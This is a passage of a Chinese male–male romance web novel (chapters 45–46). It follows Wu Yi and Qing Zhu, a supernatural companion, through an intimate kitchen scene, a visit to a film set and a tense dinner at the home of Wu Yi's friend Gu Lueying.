“卿卿,你有看过那些餐厅视频吗?很多都用肌肉男来当噱头,围裙里面不穿上衣,客人还能去摸他们的肌肉。” 乌宜靠在冰箱上吃冰淇淋。 卿烛闻言顿了一下,没有抬头,继续将切好的牛肉丁腌制好放在一边,然后去洗手。 “你在暗示我什么?” 乌宜愣住,“我没有啊。” 他只是分享自己最近刷到的有趣视频嘛。 卿烛不言,将手冲洗干净。 水流下的指节修长而优美,乌宜盯着看了很久,回过神来已经不受控制地问出了那个问题。 “你有肌肉吗?” 卿烛丝毫不显得意外,很轻地笑笑,手还未擦干便朝着他走来。 乌宜本就靠在冰箱上,被他挡住去路更是没地方能跑,只好眨巴着眼睛抬头看他。 觉得这个高度对视有些费力,他脱掉鞋子踩在卿烛拖鞋上,踮起脚绷紧小脸,装作正经。 卿烛微微俯身,拎着他的腰把人带到了空置的岛台,让他坐在上面,自己挤进乌宜的双腿中间,捉着他的手摁在了自己身上。 “好奇就自己摸。” 乌宜有点被他吓到,但最后还是没忍住诱惑,张开手掌在他的身上摸索。 胸肌紧实而饱满,再往下是块垒分明的腹肌,单薄的棉质T恤很柔软,他再往下,就摸到了劲瘦有力的腰侧延伸下去的深凹鲨鱼线。 这个人…… 他脸颊涨红,既羡慕又好奇,“你自己特意塑成这样的吗?” 说完又意识到卿烛并不需要这么做,即便卿烛并不算一个真人,他却也时常见到对方没事就泡在健身房。 “可不可以不隔着衣服摸?” 他还是没压制住心里的不礼貌问题。 卿烛微微俯身,修长的手臂撑在他身侧,几乎将他整个人挤进墙角。 “你提的要求这么多,用什么交换呢?” 那双泛着红宝石般色泽的眸永远都是理智清醒的,可乌宜对上那近在咫尺的眼眸,却读出了某种特殊的含义。 目光如有实质,轻轻缓缓地落在他唇上,泛起某种灼人热意。 第45章 距离逐渐拉进, 乌宜不自觉往后靠,整个人被抵进角落里,被含住唇时不自觉喘了口气, 嗅到了熟悉的冷香将自己包裹。 灼热的呼吸交融在一起,几乎在口腔被抵进时,他整个人就软了身体,敏感的上颚被重重舔过,湿润而又缠绵, 脑海中一片空白,他只能下意识抬手攀住卿烛宽阔结实的肩。 这次的吻不比上一回那么凶,可是却更让他感到难以招架。 喘不上气, 他伸手推了推卿烛, 却被大一圈的手罩住,抚在火热结实的身体下移, 起初还是隔着T恤,之后就直接碰了上去。 块垒分明的腹肌坚硬而又灼热, 指尖陷入皮肤,乌宜不受控制地用力,浑身泛起滚烫。 他真的感觉有点…… 唇齿分开时, 他几乎像是濒死的鱼, 手还被卿烛牵着,就靠在角落剧烈喘息起来。 卿烛并未分开多远, 似乎觉得眼前的一幕十分有趣,又俯身凑过来,同他贴了贴鼻尖,两人肤色都很白,此刻透着红贴在一起, 暖融融的。 张张嘴想说话,乌宜感受到嘴唇的酸胀,又闭上嘴巴,睫毛有点颤地垂下去,感觉气氛有点尴尬。 察觉到有哪里不对劲,他忍不住推了推,柔软的手掌却更加陷入那饱满紧实的肌肉中,倒不像是推,反而像在摸。 他慌张抬眼,就对上了卿烛似笑非笑的眼神。 现在他是真的能确定了,卿烛喜不喜欢他另说,但真的很喜欢逗他。 见他佯装生气,卿烛又微抬下颚,轻轻吻了一下他的唇。 “交换顺利。” 乌宜缓着气,忍不住控诉:“一点也不公平。” 卿烛微微分开,“嗯?” “我也不是很想摸的。”已经摸过且都现在还没将手拿开的乌宜嘴硬。 抚在他手背的手微微下滑,他忽然一惊,想要躲开,就被隔着裤子抚摸上了腰腹。 “那我帮帮你。” 乌宜大惊失色,脸颊猛地涨红了,“不要……” 可那修长有力的手指已经顺着宽松的裤腰探进去了,乌宜喜欢舒适柔软的衣服,在家都穿的很随意,现在反而也方便了男人动作。 浑身的热度上升,他下意识撇开脑袋,却在大脑电流一簇簇炸开时被吻住,嘴唇被轻轻啃咬,有力地掠夺。 潮湿沉闷的空间,脑海中似乎已经没了思考的空间,乌宜呼吸急促,又忍不住掉了眼泪。 水流冲洗,苍白修长的手指重新变得干净,卿烛是个很合格的猎手,解决完便将猎物重新收拾整齐,变回了平时漂亮到像是洋娃娃的精致模样。 脸上红白一片,乌宜的眼睫湿润,整个人像是一颗熟透的番茄,羞到不敢抬头。 “现在公平了?” 乌宜抬头瞪他一眼,小声解释:“你不懂,我们做人的受不了这种刺激,不像你……” 他说着,其实心里有点别扭,自己这么丢人,可是卿烛还是那副气定神闲的样子,甚至连衣服都没有乱,这让他感到十分不平衡。 下意识垂眸看过去,他目光触及,卿烛便抬手在他面前晃晃,遮住了视线。 “我的人身也是有这个功能的。” 乌宜的脸又红了,他忍不住推开卿烛,自顾自跳下岛台,落地的瞬间腿软一瞬差点没站住,听见身边的轻笑声,又涨红着脸跑了。 丢死人了! 卿烛没有出来追他,厨房里不多时又传出清洗食材的声音,抽烟机运作声微弱,夹杂着炒饭的噼啪声响,门缝窜出一缕焦香气味。 吃饭时间,乌宜端着自己的碗上楼,不太想跟卿烛待在同一个空间里。 他盘着腿吃完了一整碗炒饭,撑到肚子不舒服,却还意犹未尽。 真没想到,卿烛的厨艺还真不错。 把碗放在桌上,他看也没看卿烛,又偷摸着溜上楼,坐在床边的摇椅上刷手机,正好收到了顾掠影给他发的消息,询问他要不要参加踏青活动。 乌宜果断拒绝了,他这顿时间正好不那么忙,想要快点找到下一个目标人物,不再让卿烛这样无所事事。 消息发完,界面上卡顿一秒,弹出了个视频通话申请。 是李青泉。 他刚接通,楼梯方向便传来脚步声,他本就不太想搭理卿烛,这会儿更是找到了理直气壮无视对方的机会,便只笑着同李青泉打招呼,假装没有听见脚步声。 李青泉那边黑灯瞎火的,只有头顶亮着个正在晃动的灯泡。 “唉,我已经到这边了,这段时间都没怎么休息好,趁着这个点才有时间给你发消息报平安。” 乌宜凑近屏幕看了看,“你好像黑了一点。” “是这里灯太暗淡了吧。”李青泉叹口气,止不住抱怨起来,“这次我跟我师傅说了下山住的想法,结果被他痛骂一顿,他这些天一直刁难我,可累死了。” 乌宜有点同情他,“那你什么时候再下山啊?” 那次卿烛离开去找他以后,李青泉得知消息没多久就接到了师傅催促他回去的消息,于是没打招呼就先走了。 “得过段时间了,开春以后我师傅这边很多事要处理,而且……”李青泉忽然压低了声音,“我看他老人家似乎有再度出山的念头,这些日子拉着我问了不少事情。” “那不是很好吗?你正好可以接着这个机会说服他。” 乌宜正说完,就见李青泉满脸沮丧地要说什么,但忽然又瞧见什么,忽然露出个灿烂的笑,还冲着镜头挥挥手。 “卿先生您也在啊。” 乌宜一抬头,才发现卿烛不知何时站在了自己的身后,刚好出现在了镜头前。 他连脸都没露,李青泉就把他给认了出来。 “对了,这次我师傅还问起你了,我不是让我师傅给你看看相吗,他说有机会咱们可以去找你一趟。” 乌宜有些惊喜:“真的吗?那等我有空了去山上找你吧。” 本来就是别人帮他,哪有还要让人主动来找他的道理呢。 “回头再说吧,万一过段时间我师傅就跟我去云京了呢,岂不是还省事了。” “好!” 聊了些有的没的,等乌宜挂断电话,时间已经不早了,卿烛坐在他对面,正在翻阅还没看完的书,而他面前的茶几上多了两颗小小的药片,是消食片。 肚子现在还有点撑,他端起水杯把药片灌了下去,站起身小声嘟囔。 “我去洗澡啦。” 卿烛嗯了一声,他便回了房间。 洗干净自己,他躺在床上翻来覆去什么也不想干,脑海中无法控制地回荡起今天在厨房发生的一切,收拢手掌,仿佛还能够感觉到肌肉下饱含的力量感。 他怎么觉得现在的事情发展有点不一样了呢? 正思索着,房间门被推开,卿烛换了一身家居服,看起来是已经洗漱过了,进了门给他床头放了杯水,又嘱咐他明早的起床时间。 “十点的车,别起晚了。” 乌宜抱着被子翻到床另一边,眨眨眼睛期待地看着他。 收到暗示,这会儿时间已经不早,卿烛便也没刻意逗他,关了大灯上床,盖好被子。 他现在和身体的磨合越来越好,也变得更加像一个真实的人,能够感知冷暖,也学会了一些人类才会有的小怪癖。 比如睡觉的时候不再直挺挺躺着,而是选用更加不健康的侧躺方式,这个睡姿是乌宜喜欢的,这样他可以躺进卿烛的怀里,在睡梦中也很有安全感。 果然,他刚翻身没三秒,原本距离他半米远的小家伙就自己偷偷挪了过来,钻进他的怀里,让他抱着。 毛茸茸的脑袋圆滚滚的,卿烛这样看下去,只觉得他可爱。 就像小时候在福利院那样,仿佛只是一眨眼,那个木讷呆板的小孩就长成了现在这样骄横张扬。 手臂微微收拢,他听见耳边传来清浅的呼吸去,心中莫名滋生出一股奇怪的情绪,似乎十分满足。 咚咚咚,乌宜胸膛中的心跳传入耳中,他的手微微上滑,触碰到了平坦柔软的位置,那下面有什么东西在跳动。 他思忖片刻,将手覆在自己的胸膛上,可无论是左边还是右边,都没有同样的震动感。 像是死物- 次日乌宜迷迷糊糊醒来,实在有些睁不开眼,最后还是被卿烛当娃娃打扮似的套好衣服催上车。 盛莲安拍摄的地点是赵易公司旗下的影视拍摄基地,门口有人带路,他们很顺利就开车进去,乌宜睡了一路,揉着眼睛坐起来,正好看见车窗外一闪而过的热情人情。 他们似乎都在喊着谁的名字,但是他没太听明白。 前面的司机见他满脸困惑,主动解答:“估计是这里面拍摄明星的粉丝,一般路过车就会喊。” “哦,那好辛苦啊,今天这么冷。” 乌宜打了哈欠,看见窗外黑沉沉的天空,又缩缩脖子。 卿烛坐在他边上,此时也望向窗外,面上依旧没有表情。 到了车开不进去的地方,他们下车往外面走,趁着工作人员在前面引路,乌宜小声跟他嘟囔。 “娱乐圈都是追梦的地方,肯定会有很多念力强大的人,你今天可要仔仔细细地看。 卿烛没接话,只是抬手揉了一把他的头发。 他们靠近的时候,远远看见盛莲安站在拍摄地,周围的机器随着他的动作而移动,另一侧的棚子下面聚集着一群人,正在看监视器。 盛莲安穿着一身中山装,正站在布景前同对手戏演员对峙,两人似乎在争吵什么,盛莲安面上始终是斯文的笑,直到面前的愈发暴怒,挥起一拳狠狠砸在他的脸上。 效果很真实,乌宜被吓了一跳,“真的被打中了吗?” “嗯。” 闻言他便担忧起来,看见周围等待的其他演员顺势匆忙跑进镜头里,又是一番拉扯后,导演终于喊了卡。 “过了,莲安先去处理一下脸,其他人准备其他镜头。” 盛莲安点了点头,走出拍摄场地,助理便赶紧拿着冰袋过去,乌宜刚走过去,对方就察觉到了,抬起头冲他笑笑。 “来了。” 乌宜担忧地走过去,“莲安哥哥,你的脸都肿了。” “没事,别怕。”盛莲安将冰袋贴在脸上,却还是遮挡不住很快红肿起来的皮肤,“这个剧情很重要,不真打的话出不了效果的。” 他说着,便哄着乌宜去自己的休息室,顺道和卿烛聊了几句。 周围的工作人员和候场演员都朝着他们的方向看过来,毕竟盛莲安身边这两人的外貌实在出众到过分,不由得让他们联想是不是准备签约的新人。 进入了休息室,乌宜看见躺椅上正靠着个人,是程简,她身上盖着毛毯,脸上的妆还没卸,身上穿着旗袍,像是个舞女的造型。 “她那边剧组停工两天,过来找的时候正好客串一个角色。”盛莲安笑笑,“我和编剧是老朋友了,能帮忙就帮。” 乌宜点点头,很贴心地放轻了声音,没敢挪动凳子,只坐了一小片。 卿烛出了门便不喜欢坐下,站在边上听他们说话。 “小宜对拍戏感兴趣吗?” 乌宜听见盛莲安的问题,犹豫着摇摇头,实话实说:“不感兴趣,但是看你们拍很有意思,好像在玩更真实的过家家。” 盛莲安闻言便笑了,“那你在这随便转,我让助理带着你们,隔壁是古装剧,你可以看,就是别走太近。” “好!” 乌宜眼睛亮晶晶的,他向来是个很有好奇心的人,在家看电视剧看多了,对现实这些拍戏的画面很感兴趣。 他们来做客,盛莲安便没有用剧组的饭菜招待额,而是让助理去订了当地酒店的餐食。 送到时程简也补觉结束,高高兴兴和乌宜打了招呼,表示自己吃过饭就得去赶飞机了。 乌宜本想感叹她太辛苦,可想了想又还是没说出口,他其实能够感觉到,盛莲安和程简都恢复工作以后,状态要比上一次见到的时候好很多,而且……他们的关系看起来也更加亲近了。 收拾好东西临走前,程简又是再三嘱咐。 “你的腿还没完全好,那些戏份一定要往后拖,每天多休息,拍完戏能坐着就别站着。” 盛莲安自然什么都听她的,戴上帽子送她出去。 看着两人离开,乌宜不由得感慨,扭头瞧见卿烛也若有所思地看着那边的背影,忽然间好奇起来。 “卿卿,你在看什么?” 卿烛收回目光,问:“你又在看什么?” 这是他一贯的回话方式了,乌宜嘟囔半天,还是老老实实地说:“我刚才听见莲安哥哥叫程姐老婆。” 卿烛沉默片刻,“所以?” 这下换成乌宜茫然了:“还有什么然后?” 他只是跟卿烛分享一下嘛。 卿烛沉吟片刻,没再开口,只是点了点头。 盛莲安很久没有回来,乌宜吃饱喝足想要溜达一会儿,便带着卿烛出门,准备去隔壁的剧组看看古装。 往外走遇上不少人,乌宜找了一圈没看见助理,索性自己随便乱走,没成想歪打正着真找到了。 相较于盛莲安那边的简单和民国建筑,这边的阵仗看起来就完全不一样,雕梁画栋的古代建筑,穿着古装的男男女女赏心悦目,此时拍摄的似乎是妃子争宠的一幕,两个十分漂亮的女人正在对台词,身后的宫女太监跪了一地。 “这也太爽了吧。” 乌宜止不住的感叹,眯着眼睛看得开心。 他最喜欢看这种大制作了,虽然剧情看起来有一点老土,可是服道化都很出众,完全让他移不开眼睛。 卿烛站在他身后,也没发表什么意见。 不多时,老皇帝出场,将美艳的妃子扶起,开始对戏,乌宜不禁有些失望。 “我还以为会是一个很帅的皇上呢。” 不过这个皇帝显然是个老戏骨,虽然外形并不那么瞩目,但演技很好,一段戏很快就过了。 现场喊了卡,开始补拍镜头,乌宜意犹未尽,扭头问:“你活了这么多年,有没有见过皇帝啊?” “……” 卿烛无奈,“见过。” “是哪个皇帝?” “不知道。” “???” 乌宜顿时垮了脸,只觉得他就是不想告诉自己,“你好敷衍哦。” “的确不清楚,我刚出世时很多记忆都模糊,也没有具体的思想,我见到的人是皇帝,这是后天才意识到的。” 听完卿烛的耐心解释,他觉得有点好接受了,只能哼哼唧唧点头以示通关。 “难怪你没有更早的仆人呢,要是那时候你就这么聪明了,簇拥你的人估计都要霸占整个世界了吧。” 要真是那样,估计傅桉和秦东临他们家里的那尊黑相会被塑上金身,被供奉在各个寺庙之中。 卿烛没理会他过分夸大的话,扫了一眼全场,淡道:“这里没有目标。” 乌宜提高这句只觉得诧异:“一个都没有吗?” “嗯。” “不应该吧。” 乌宜扫了一圈,看见了还没开拍提前跪好的小太监,“他呢?” 看起来很沧桑的样子。 卿烛摇头。 “那她呢?”乌宜又指向一个刚被导演骂过,正在抹眼泪的小宫女。 卿烛摇头。 “怎么会这样。” 乌宜大失所望,只能在心里安慰自己,暂时打消找寻目标的想法。 看了一下午,他发现剧情一段一段的,根本衔接不上,回去路上又是满心感慨。 “原来拍戏是这样,同一个场地的戏先拍完,我还以为是按照剧情拍呢。” 他絮絮叨叨说了一路,身边的人却一言不发,他只好握拳举起来递到卿烛的唇边,假装自己是个记者。 “卿先生看完有什么感想吗?” 卿烛淡道:“你近视了。” 乌宜满头问号,嘴硬道:“我没有,我两只眼睛视力都很好。” “是吗?” 卿烛似笑非笑。 一对上他这个眼神,乌宜心里就有了不好的预感,可身边的人忽然停下脚步,他也只好转过去。 宽大的手掌在他面前舒展开,比他的脸大了不少,微微罩住,掌心触碰到他的睫毛,微微发痒。 “闭上眼睛。” 乌宜不知道他要闹哪出,但还是配合地闭上了眼睛。 微热的两个手指并拢,轻轻划过他的眼皮,悄然间,一股淡淡的凉意顺着单薄眼皮沁入底部,让他原本有些酸疼的眼睛滋生出莫名的舒适感。 手抽离,他睫毛颤了颤睁开眼睛,短暂的朦胧后,世界忽然变得一片清明。 他能看清楚很远的地方,也能捕捉到鸟雀飞离枝头后簌簌落下的叶片掉落在何处。 “我是开天眼了吗?”他有点激动。 卿烛:“我还没这能力。” 乌宜好奇地左看右看,仿佛是第一次看清楚这个世界,什么东西都觉得很新奇。 瞧他这副模样,卿烛原本斥责的话也说不出口,只能到:“以后别躺着看手机。” “知道啦!” 高高兴兴回到原剧组,盛莲安还在休息室门口徘徊,脸上表情有些担忧,直到看见乌宜和卿烛远远走来才松了口气。 “干什么去了?” “我们去隔壁剧组转了转。”乌宜绘声绘色地跟他描述那边的场景,“我好像还看见了那个代言A家的女演员,她看起来好瘦哦。” “上镜胖十斤可不是谣传的,我在画面里都显得有点壮。”盛莲安笑说。 乌宜啧啧摇头,听他又问起晚上的安排,便告知他自己已经和卿烛订好了酒店,晚上准备去附近的景点转一转。 闻言,盛莲安也没有强求什么,告知他们自己明天没戏,可以带他去玩。 不多时,他又动身去化妆,乌宜便先走了。 助理将两人送出去,乌宜坐上车便止不住打起哈欠,暂时眯了过去,再次醒来已经是在房间里。 睁开眼,迷迷糊糊看见卿烛站在床边,正将手机放在床头,他轻轻眨了一下眼睛,还没有反应过来,对方便先一步开口。 “有人给你打电话。” “谁啊?” “顾掠影。” 乌宜有些困惑:“他有说什么事吗?” “没有。” 那应该不是什么大事,估计是询问他要不要去哪里玩吧。 这段时间顾掠影对他都挺热情的,乌宜猜测他是朋友太少了,加上那天见到了自己的偶像,所以对他的印象更好,所以即便他有一点因为这种热情而困扰,却也并不觉得顾掠影这个人有什么问题。 玩了几天,他们回到云京。 他们抵达后,傅流晔得到消息接他们,乌宜上车才发现岑锦也在,一见到他就扑了过来。 “哥哥。” “感觉小锦长高了。”乌宜学着大人的话,故作成熟。 傅流晔笑:“这才两周没见。” “那就是小锦营养太丰富了。”乌宜嘻嘻一笑,捏捏岑锦的脸。 回到傅家,饭菜已经做好,乌宜早就期待这一口手艺了,硬是吃了两大碗饭。 他和傅流晔说起自己最近的事情,不可避免就提到了顾掠影,说起又是义愤填膺。 “你说怎么会有这种家庭呢?明明都亏欠这么多年了,还不对亲生孩子好一点。” 傅流晔若有所思:“我和他们倒是没什么交集,不过前两年偶然在宴会上见过,顾总看起来不像是这么是非不分的人。” “你说的是顾掠影的爸爸吗?”乌宜并没有什么好感,“肯定是会装,反正我讨厌他,那个顾风顺也很会伪装的。” 傅流晔向来是顺着他,便也没有多言,只抬手给他倒了一碗甜汤。 吃过饭留宿在傅家,乌宜洗过澡出来,正好看见卿烛进来,便抓过手机往他怀里一靠,要他给自己吹头发。 卿烛没有怨言,乌宜低着脑袋打开手机,头顶热风呼呼吹,他看清楚一条消息。 “顾掠影邀请我明天晚上去他家里做客。”《 》 45-50 第46章 “晚上?”卿烛低沉的声音中似乎带了几分讽刺。 乌宜没有听出来, 还嗯嗯点头,“明天下午我有课,下完课正好可以跟他一起去。” 他算了算, 去别人家里应该要带礼物,想着明早去选一选,这段时间顾掠影给他带了不少好东西,他也得趁机会还回去才行。 “对了,你说我去他家里做客的话, 要给他家人带东西吗?但是我很讨厌他们诶。”乌宜说到这里,又忍不住蹙紧眉头,“你说他们会不会因为我是顾掠影带回去的, 就故意轻视我啊, 这次我亲眼去看看他们平时是怎么对顾掠影的,最好别让我看见什么恶心的画面。” “别去。” 乌宜还想要说什么, 却忽然在耳边嘈杂的风声中捕捉到了卿烛冰冷的声线。 起初还以为是自己听错,他抬眸看过去, 对上了卿烛冷淡的视线,才确定不是幻听,不禁迷茫起来。 “为什么?” 发丝被宽大手掌捋过, 吹到干燥, 呼呼风声终于消失,但乌宜的脸仍旧残存着被热风烘过的红晕。 卿烛放下吹风机, 直视着他,说:“顾掠影心术不正。” “你干嘛忽然这样说他?”乌宜蹙紧眉头,只以为他又是犯老毛病了,“顾掠影跟我只是朋友,他对我那么真诚。” “你真觉得他是善类?他的描述存在很大主观。” “或许会有吧, 可他被顾风顺欺负的画面,我们不是都亲眼看见了吗?”乌宜仍旧不平,“难得你是不相信我说的话?你不能没有证据就无端猜测他。” 卿烛本来就不是喜欢辩论的人,如果不是因为面前的人是乌宜,或许他连最开始的解释都不会说,于是现在又沉默下去,只是眼眸中的冰冷透出了他的不赞许。 乌宜不喜欢面对他这样的沉默,可是对于他说的那些话也有些生气,便只能安安静静地同他对视,一次表达自己的不满抗争。 这种事情已经出现过很多次了,卿烛似乎对谁都不是很喜欢,哪怕是曾经对他那样忠心的秦东临,他也要让乌宜远离。 那这个世界上还有其他人是可以信任的吗?难不成他只能自己一个人待着。 这个人的占有欲也太强了吧。 乌宜想不通。 但是他也不想和卿烛吵架,索性便转移了话题,同他聊起之后寻找其他人的事情。 “我看他们都受到了你的印象做成一番大事业,那我们之后是不是着重在意这些有钱的人家就行了,说不准就能有机会。 说着,他回到床上躺着,卿烛坐在床沿边上静静听着,没有接话。 说着说着就困倦了,乌宜拉着他躺下,自己靠在他的手臂上,裹住被子。 哼哼唧唧半天,他还是忍不住:“你现在是同意了吗?” 卿烛:“没有。” “……” 真是拿他没办法,乌宜本来还想跟他好好说些什么,可闭上眼睛又不禁困倦起来,只好闭上了眼,准备明天出发前再找机会跟他说。 次日,卿烛没有跟他一起出门,借口有事早早就离开了。 乌宜心里憋着一股气,但是等抵达学校以后见到顾掠影,又顿时吃了一惊,什么也顾不上了。 “你怎么了?” 他震惊地看着额角贴着纱布的青年,发觉他的脸色变得更加苍白憔悴了。 顾掠影很尴尬地笑了笑:“没事,我不小心撞到头了。” 乌宜才不会相信,立马就想到了一个可能性,“是不是他们又欺负你了?” 顾掠影脸上的笑容变得有些僵硬,半天才苦笑一声:“就是打闹的时候不小心从楼上滚下去了,不过没什么大事情,就只是轻微的脑震荡而已。” “脑震荡还不算大事吗?” 乌宜蹙紧眉头,心脏像是被揪成一团,难受极了。 如果换成是他,早就哭天喊地哪都不去了,而顾掠影都这样了,居然还要来学校。 “他真的太过分了!” 顾掠影连忙安抚:“真不是什么大事,而且我爸也说了要给我补偿。” 乌宜很快猜到:“就是钱方面的吧?” “对,他说等我实习的时候去他分公司,给我安排一个职位,如果做得好,那家公司未来就交给我接手。”顾掠影说到这里露出一个笑容,可明显能够看出,他对此并不满足。 他本就是顾家的亲生孩子,回到家以后见证了这么多,又怎么会一点野心都没有。 乌宜也想到了这一点,忙道:“那个家里的所有东西原本就应该是你的,别说分公司了,总公司本来也该由你继承,这算什么补偿?” “好了别生气,赶紧去上课吧,等结束以后我来找你。” 看出顾掠影并不想继续谈这个话题,时间也有些不够了,乌宜只好和他告别。 只是等上课的时间,他还止不住想起顾掠影头顶的伤口,心里面愈发难受。 结束课程,两人会和后出发前往顾家,顾掠影在路上表达了担忧,还询问乌宜要不要换一个地方吃饭,就不去他家里了,但乌宜又怎么会放过这个机会,果断拒绝。 “没事的,我倒是想要看看那个人面兽心的东西究竟有多能装!” 顾掠影蹙紧眉头,显然还是有些顾忌,“那你去了千万别乱说话,他们应该也会对你很礼貌,毕竟我之后还要在那里生活,就简单去做个客,好吗?” 听了他的话,乌宜微微怔住,也迟钝明白过来了他的意思。 心中的那一腔怒火猛然散去,他差点被自己方才的想法吓了一跳。 是啊,他又怎么能跑到别人家里去发泄呢?他是去做客的,说完几句拍拍屁股就走人,可是顾掠影还要在那里生活呢。 意识到自己的鲁莽,他只得将原本的计划打消,认认真真同顾掠影承诺。 “放心,我很会伪装的,见到我的长辈都觉得我是那种很听话的乖宝宝。” 顾掠影被他的话给逗笑,打量他半天,点点头:“确实是乖宝宝。” 乌宜今天只穿了件简单的薄款衬衫,外面的羊毛马甲柔软蓬松,肩上搭着很漂亮的围巾,时髦又可爱。 “所以是很有迷惑性的。” 乌宜自己才不觉得自己乖,他的坏心眼其实很多,只是很少表现出来而已。 不多时抵达了顾家,他上一次来过这里,所以并不感到陌生,下车后朝着里面看去,不由得好奇。 “顾风顺在吗?” “在。” 乌宜问完又想起什么,“你们两个谁大啊?为什么你喊他哥哥。” “我们两个……是同一天出生的。”顾掠影说。 “那凭什么?” “似乎是他比我先两个小时出生吧,我也不清楚,我母亲说他是大哥,就需要照顾我。” “也没见他照顾过你。” 乌宜嘀咕完走进院子,大门正巧打开,有个穿着羊毛衫的青年站在里面,冲着他们露出一个斯文和煦的笑。 “嗨,是掠影的朋友吧。” 真能装啊。 乌宜止不住感慨,走近以后冲着他点点头:“你好。” 虽然换了衣服,可的确是他那天在机场遇见的人,此时盯着他看了两秒,眸中闪过错愕的同时似乎也想起来了什么。 “我们是不是在哪里见过?” 乌宜才不想跟他套近乎,便只是搬出了招牌笑容。 “是吗?可能我是大众脸哦。” 他顶着这样一张让人过目不忘的脸,说出口的话很难有说服力。 顾风顺也不知道是真的没记起来还是察觉到了他的排斥,也没有再多问,只是招呼他们进来。 进门以后,乌宜看见里面有个穿着丝绒长裙的女人,肩上围着披肩,看起来很美艳精致,瞧见他后一怔,然后露出个笑容。 “是小宜吧,昨天刚听掠影提起过,听说你们在学校里关系很好,你们是同一个专业吗?” 乌宜一五一十回答她的问题,没多久就被她拉着去沙发上坐。 顾掠影和顾风顺坐在对面,一个低垂着头满脸落寞,另一个始终带着笑容,乌宜光是看着就难受。 “小宜是住在蓝湾?看来你家里条件很好啊。” 乌宜不太想谈这个话题,便只是点点头,转移道:“我第一次见到顾掠影的时候,他正好崴到脚了,我送他去医院。” “崴脚?”柳隐似乎很茫然。 乌宜微蹙眉头,就听见端来水果的保姆解释,“太太你忘记了,前段时间小少爷在学校崴到脚了,两天都没去学校。” 柳隐这才恍然大悟,“是那次啊,我都没想到这么严重。” “……” 听到这里,乌宜也没有要和她说话的欲望了,问过还没那么快吃饭,便借口上楼去顾掠影房间参观。 两人上了楼,同时都松了口气。 乌宜看了看明显放松下来的顾掠影,心里有点难受,“他们比我想的还坏。” 其实态度很好,可是各个细节下表现出的不在意都真真切切,怎么能这样呢? 之前听顾掠影描述的时候他还想象不到具体,现如今却是止不住幻想起来那些画面。 顾掠影的房间很干净,不算很大但是该有的都有,乌宜在里面转了一圈,却没有得到太多的安慰。 书桌上整齐摆放着不少书本笔记,电脑放在一旁,怎么看都很凄凉,房间里面没有任何装饰,一眼看上去简直像是个暂住的房间。 “我平时喜欢从这里往外面看,前面的花园总是有很多人,可是这里都很安静。” 乌宜顺着他说的位置看出去,是一个很小的花园侧面,下面有三颗树,暂时还没有长到这么高的位置。 他越是听,就越是心疼顾掠影,莫名就滋生出了想要暗示他的冲动。 屋子里只有一张很小的床尾沙发,他在那里坐下,想了想问:“你不会觉得很不公平吗?” 顾掠影看见他的表情很认真,怔了一下才说:“有一点吧,但是人各有命,可能这就是我必须要经历的。” “你这样是在安慰自己。” “或许是这样,可我现在能做的不就只有苦中作乐吗?” 乌宜恨铁不成钢,连忙道:“当然不是了,你就没有什么很想要的东西吗?” “……” “他们的喜爱就算了,其实我觉得他们的重视根本不值一提,那自己的未来呢?你不想要更多的补偿和权力吗?一个小小的分公司就打发你了,难道你愿意自己家未来的财产都留给顾风顺吗?” 认识这么久以来,乌宜还是第一次用这样严厉的语气和他说话。 顾掠影怔愣片刻,眼中透露出些许的绝望,“我也很想这么做,可我落后太多了,即便我心里也很不平衡,可是我没办法否认,顾风顺的能力就是比我要更强。” “那你可以努力啊,哪怕不想着追赶上他,只是为了自己争权夺利。”乌宜眨眨眼,“如果你多一点那种野心,说不定事情就会有转折呢?” 他从来没有这样明示过一个人,顾掠影此时低垂着头,似乎也正在思考着什么。 乌宜只能说到这里,他不知道顾掠影能不能领会到自己的意思,但他实在是有些看不下去,如果顾掠影不能自己想明白的话,那么他也没有办法施以援手。 今天见到了顾风顺,他并不觉得顾掠影就差到哪里去,只不过是从小到大的生活处境使得他及不上顾风顺见多识广罢了。 不知多久过去,顾掠影总算抬起头,红着眼睛苦笑一下,“我会认真思考你今天说的话的。” 乌宜松口气,有些欣慰。 简单参观过顾家,等顾掠影的父亲顾闻回来,众人才齐聚桌前开始用餐。 见到顾闻,乌宜总算明白傅流晔为什么会那样评价对方,因为顾闻看起来真的是一个很老实本分的男人,他上了年纪,即便头发被染黑也遮盖不住年龄。 新闻上说他是老来得子,四十岁才生了一个儿子,结果十几年以后才发现是抱错的。 乌宜看着他笑意盈盈的模样,看起来十分淳朴,不像是一个企业家,反而像是在农村里勤勤恳恳扶贫的村支书。 的确不像是坏人。 只是想到顾掠影的遭遇,他还是对这个人产生不了好感。 吃过饭,外面天色已黑,乌宜很快表示自己要回家,顾闻正想让司机去送客,院外便传来引擎声,一辆纯银色的跑车停在门口,大灯闪烁一下。 “不用了叔叔,我哥哥来接我。” 乌宜站起来,礼貌地跟几人告别,顾掠影送他到门口,又让他回去以后记得发消息报平安。 “好的。” 乌宜看着他憔悴的样子,猜到他应该还在为自己刚才说的那些话而苦恼,索性便凑过去张开手掌,用力地抱了他一下。 “不要太担心啦,一个人成功与否,在于他是否有直面欲望和恐惧的勇气,如果你真的决定了要做一件事情,你自己包括上天都会来帮助你的。” 顾掠影沉默良久,在他松开手时忽然收拢手臂,很用力地抱住了他。 “谢谢你,乌宜。” 乌宜差点被他吓了一跳,但听见那嘶哑的声音,心里又有点难受,只好又拍了拍他的后背。 “没多大事。” 半分钟后,顾掠影松开他,乌宜道过别便小跑着出了院子,拉开车门上去,又冲外面找找手。 顾掠影往屋檐下走了两步,似乎想要和他说些什么,但还没等乌宜把车窗降下去听,车忽然就猛然加速开走了。 他差点被安全带勒到想吐,反应过来怒气冲冲看向身边人。 “你干什么啊?” 卿烛神色淡淡,“回家。” “我是说你干嘛开这么快,安全带勒得我肩膀好痛。”乌宜抬手揉揉一侧锁骨,不太高兴。 卿烛一言不发,专心开车。 一路上,乌宜又忍不住跟他分享自己今天和顾掠影的对话,想到对方赤红的眼眸,有一点点后悔。 “其实我不应该跟他说那么重的话,但那时候确实是有一点点恨铁不成钢吧,也不知道他有没有听进去。” 他絮叨了一路,可直到车停下,卿烛也没有回应一句,这让乌宜心里很不平衡。 “你干嘛又跟我冷战啊,最不喜欢你这样了。” 卿烛解开安全带,总算看向了他,“我只是忽然发现,我很不想看见你跟他待在一起,但你不让我说,我只能沉默。” 他这句话时脸色阴沉,是很不高兴的样子。 乌宜心脏微跳,小声嘟囔:“我跟谁待在一起你都不喜欢,每天围着你打转就好了,孤单无聊死我。” “……” “跟我待在一起很无聊?” 